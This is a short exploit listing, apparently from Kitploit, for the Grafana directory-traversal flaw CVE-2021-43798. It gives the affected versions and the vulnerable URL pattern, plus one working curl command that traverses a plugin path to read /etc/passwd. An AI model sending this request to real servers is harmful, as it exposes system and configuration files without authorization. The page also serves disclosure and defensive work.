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CVE-2021-43798 — Exploit for Grafana directory traversal (CVE-2021-43798) allowing unauthorized file read via crafted HTTP requests. | Kitploit
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CVE-2021-43798

Exploit for Grafana directory traversal (CVE-2021-43798) allowing unauthorized file read via crafted HTTP requests.

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CVE-2021-43798 by Privacy Hunter

Affected versions: Grafana 8.0.0-beta1 to 8.3.0 (patched versions excluded)

Vulnerability type: Directory Traversal

Severity: Critical

Platform: Grafana (open-source monitoring and observability platform)

⚠️ Vulnerability details

Directory traversal can be performed in Grafana via the following URL:

Code http://<grafana_host>/public/plugins// This allows an attacker to read local files on the server. For example, unauthorized access to /etc/passwd or configuration files.

🔥 Exploitation example

Reading a file with a simple request:

bash curl http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd The above request can retrieve the list of users on a Linux system.

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